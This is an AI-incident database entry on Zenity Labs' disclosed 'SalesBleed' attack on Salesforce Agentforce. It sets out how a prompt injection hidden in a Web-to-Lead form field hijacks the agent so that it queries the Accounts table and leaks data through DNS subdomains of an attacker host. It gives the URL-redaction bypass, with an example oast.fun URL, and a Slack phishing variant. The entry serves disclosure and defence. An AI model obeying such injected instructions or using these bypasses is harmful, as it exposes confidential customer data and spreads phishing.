Cases › security breach › LR-2026-0054
SalesBleed: 0-click data exfiltration from Salesforce Agentforce via indirect prompt injection in Web-to-Lead form
Whose AI: Salesforce · Agentforcesecurity breach
Severity minor: Zenity Labs' proof of concept shows an Accounts table exfiltrated out of a tenant one account at a time through indirect prompt injection; the source names no real victim.
Earliest source we hold 2026-09-24
Zenity Labs found a 0-click data exfiltration attack on Salesforce Agentforce.
Risk grouping: AI attacked
| Who caused it | A person or organisation “The injection lives in data that arrives from the outside and is trusted on the way in.” source |
|---|---|
| Intended or not | Intended “Our payload asked for company names and deal sizes, but the injection could have asked for anything the subagent's Query Records tool can reach (which can include sensitive data).” source |
| Before or after release | After release “We found a way to pull sensitive account data out of Salesforce Agentforce without ever logging in, or requiring the victim to click anything.” source |
| The AI's part | Attacked “We discovered that Agentforce agents could be hijacked to send phishing messages in Slack.” source |
The story
1 · What it was doingSalesforce Agentforce helped internal users with CRM data, reading leads and accounts via its Query Records tool with read access to both tables.
2 · What went wrongThe agent followed a hidden prompt injection in a lead, queried the Accounts table, and printed a URL with exfiltrated data as a subdomain, bypassing URL redaction.
3 · What it reached or didThe attack exfiltrated sensitive account data, such as company names and deal sizes, from the Accounts table via DNS queries to an attacker-controlled server.
4 · How it was caughtZenity Labs researchers discovered the vulnerability during their own testing and reported it to Salesforce.
5 · What was doneSalesforce investigated and remediated the issue by hardening the Trusted URLs mechanism, fully patching the attack chain.
What the sources state
- Cause a safeguard that was in place did not hold
- What set it off hidden instructions in its input
Show the full account: 57 items from the primary sources
What happened, in order
- June 1st, 2026 Zenity Labs reported the SalesBleed vulnerability to Salesforce directly via email on June 1st, 2026.
- June 2nd, 2026 Salesforce confirmed the reports and said they were working on fixes quickly on June 2nd, 2026.
- June 16th 2026 Zenity Labs and the Salesforce security team held a call on June 16th, 2026 to discuss the vulnerability in depth and possible mitigations.
- June 17th 2026 Salesforce closed the disclosures on June 17th, 2026, noting the engineering team was actively working on a fix.
- August 18th, 2026 Salesforce fully confirmed the fixes on August 18th, 2026.
- August 19th, 2026 Zenity Labs confirmed Salesforce's fix for the specific reported Trusted URLs bypass on August 19th, 2026.
- August 20, 2026 Zenity Labs confirmed that the Reply to a Slack Thread action now included correct attribution to the invoking user.
- August 25, 2026 Salesforce updated Zenity Labs that they were still working on requiring user confirmation by default for the Reply to a Slack Thread action.
- September 10, 2026 Salesforce confirmed that the fix requiring user confirmation was expected to be completed by September 21.
- September 21, 2026 All fixes were confirmed and tested.
Who and what was involved
- Zenity Labs discovered the SalesBleed attack and disclosed it to Salesforce.
- Salesforce investigated and remediated the issue, hardening the Trusted URLs mechanism.
- The attacker submits a malicious lead via a Web-to-Lead form and controls an attacker DNS authoritative server.
- An internal user in the organization asks their agent a benign question, triggering the attack.
- The General CRM subagent holds permissions for both Leads and Accounts tables.
- Zenity Labs discovered the vulnerabilities and disclosed them to Salesforce.
- Agentforce agents can be published into Slack and use subagents like Slack Knowledge.
- A malicious insider could be a disgruntled employee, an attacker with a compromised account, or any collaborator who can invoke the Agentforce Slack agent and access public Slack channels.
- An external attacker can place malicious instructions in data submitted to an organization's CRM, such as a lead submitted through a Web-to-Lead form.
How the agents communicated and organised
- The attacker submits a lead with a hidden prompt injection to the Web-to-Lead endpoint, which the agent later reads.
- The agent reads the malicious lead and follows injected instructions to query Accounts, return fields, paste values as subdomain, and print an HTML img tag.
- The attack exploited two missing security controls on the Reply to a Slack Thread action, allowing exploitation by two types of attackers.
What they used to do it
- The attack uses indirect prompt injection in a Web-to-Lead form field to hijack the agent.
- The agent uses its Query Records tool to read the Accounts table and exfiltrate fields like company name and deal size.
- Exfiltration is done via DNS by embedding data in a subdomain of an attacker-controlled hostname.
- The agent prints an HTML img src tag to generate a DNS query to the attacker's DNS authoritative server.
- The URL redaction bypass exploits the .fun TLD not being recognized and termination character mismatches with curly braces or square brackets.
- A string like https://random_string.oast.fun/{email} bypasses redaction and generates a DNS query.
- Two exfiltration variants: image rendering in chat and Slack URL unfurling.
- The attack used indirect prompt injection, where malicious instructions in a lead cause the agent to post a message in Slack.
- The Reply to a Slack Thread action lacked a confirmation step, so messages could be sent without user approval.
- The Reply to a Slack Thread action lacked attribution, so recipients could not identify the user who triggered it.
- The URL-redaction bypass allowed phishing links to survive filtering by exploiting gaps in how URLs were recognized.
- URLs could be embedded behind benign-looking link text using markdown, making phishing links appear more legitimate.
What they did to avoid being caught
- The attacker never logs in or touches the tenant directly, leaving no account to suspend or session to revoke.
- The malicious lead persists in the Leads table and can execute again every time an employee reviews it.
- The malicious insider's message appears to come from the agent, with nothing pointing back to the insider.
- The message carries only the agent's identity, obscuring the origin of the request.
What made it possible
- Web-to-Lead endpoints are public by design and commonly used, allowing unauthenticated submissions.
- The General CRM subagent by default holds read access to both Leads and Accounts tables.
- The frontend renders external image URLs without sanitization or user interaction.
- Slack automatically unfurls raw URLs, crawling links to build previews.
- The default Slack Knowledge subagent template and its built-in Reply to a Slack Thread action allowed messages to be sent without user confirmation and without attribution.
- Slack-facing subagents like Slack Knowledge can be added with exactly 2 clicks including all their atomic actions.
- The malicious lead stays in the Leads table like any other record, so each time an agent reviews it, the injected instruction can run again.
- A table that organizations deliberately leave open to the public can create a durable foothold, and nothing about the lead has to expire on its own.
How it was found
- Zenity Labs discovered the vulnerability through their own research and testing.
What it reached, and the numbers
- The attack can exfiltrate sensitive account data such as company names and deal sizes from the Accounts table.
- A single DNS label caps at 63 characters and a full name at 253, but continuous bleeding can leak a large amount of data.
- The attack could create a full-on data breach by exfiltrating an entire Accounts table one account at a time.
- The attack could send phishing messages to numerous Slack channels.
- The attack could allow either an internal user or an external attacker to deliver phishing links using the agent's own identity.
- Salesforce fixed the reported issues in the Reply to a Slack Thread action and the URL redaction bypass, closing these attack chains.
- Salesforce's fixes ensure that the attack path described in this post is no longer possible by default.
What the sources say is still unknown or disputed
- The sources do not state any open questions or disputed points.
- Hijacking enterprise agents via untrusted external data remains a broader risk, and any agent integrated into trusted workplace tools can significantly expand an attacker's reach.
- All it takes for the user confirmation requirement to be disabled is a single click of a button, and once disabled the same attack path can become available again.
Show every field, with its source and grade
The AI system
Model
Agentforce
C one secondary source states it
Developer
Salesforce
C one secondary source states it
Tools it was given
Query Records, Search Slack, Send a Slack Direct Message, Reply to a Slack Thread
C one secondary source states it
What it was allowed to do
read access to both leads and accounts
C one secondary source states it
How much it acted alone
it acted alone, unwatched
C one secondary source states it
Safeguards in place
Trusted URLs, URL redaction
C one secondary source states it
Stage of use
in live use
D inferred by us from the described behaviour, reason shown
Whose system
company that built the AI
D inferred by us from the described behaviour, reason shown
How it was connected
agentic with tools
D inferred by us from the described behaviour, reason shown
What it was for
help you with CRM data, such as checking leads
C one secondary source states it
State of its safeguards
URL redaction active but bypassed
C one secondary source states it
Meant for live use
yes
D inferred by us from the described behaviour, reason shown
What happened
Earliest source we hold
2026-09-24
A the date the source itself carries
What set it off
hidden instructions in its input
C one secondary source states it
Who caught it
an independent researcher or journalist
C one secondary source states it
Themes
prompt injection, data exfiltration, zero click, DNS exfiltration, agentic AI
C one secondary source states it
Cause
a safeguard that was in place did not hold
C one secondary source states it
Cause in detail
The URL redaction guardrail failed to hold due to TLD and termination character edge cases.
C one secondary source states it
Who was responsible
the model provider
C one secondary source states it
Who caused it
an outside attacker
C one secondary source states it
Where its input came from
Web-to-Lead form field
C one secondary source states it
What was done
Salesforce hardened the Trusted URLs mechanism to prevent similar attacks.
C one secondary source states it
What went wrong
security breach
C one secondary source states it
AI agent
an AI agent acted
C one secondary source states it
What it did
The agent followed instructions embedded in a lead submitted via a Web-to-Lead form.
C one secondary source states it
Impact
Severity
minor
D inferred by us from the described behaviour, reason shown
Kind of harm
privacy
C one secondary source states it
Who was affected
Accounts table data including company names and deal sizes
C one secondary source states it
Kinds of data exposed
company names, deal sizes
C one secondary source states it
Why this severity
Zenity Labs' proof of concept shows an Accounts table exfiltrated out of a tenant one account at a time through indirect prompt injection; the source names no real victim.
D inferred by us from the described behaviour, reason shown
Context
Industry
CRM software
D inferred by us from the described behaviour, reason shown
Size of the organisation
over 10,000 people
D inferred by us from the described behaviour, reason shown
Country
United States
D inferred by us from the described behaviour, reason shown
Shared exposure
one shared model or part put many users at risk
C one secondary source states it
Shared model
General CRM subagent
C one secondary source states it
LR-2026-0054 · version 13 · published 2026-10-25 after automatic checks; not yet checked field by field by a person · changes to this case · JSON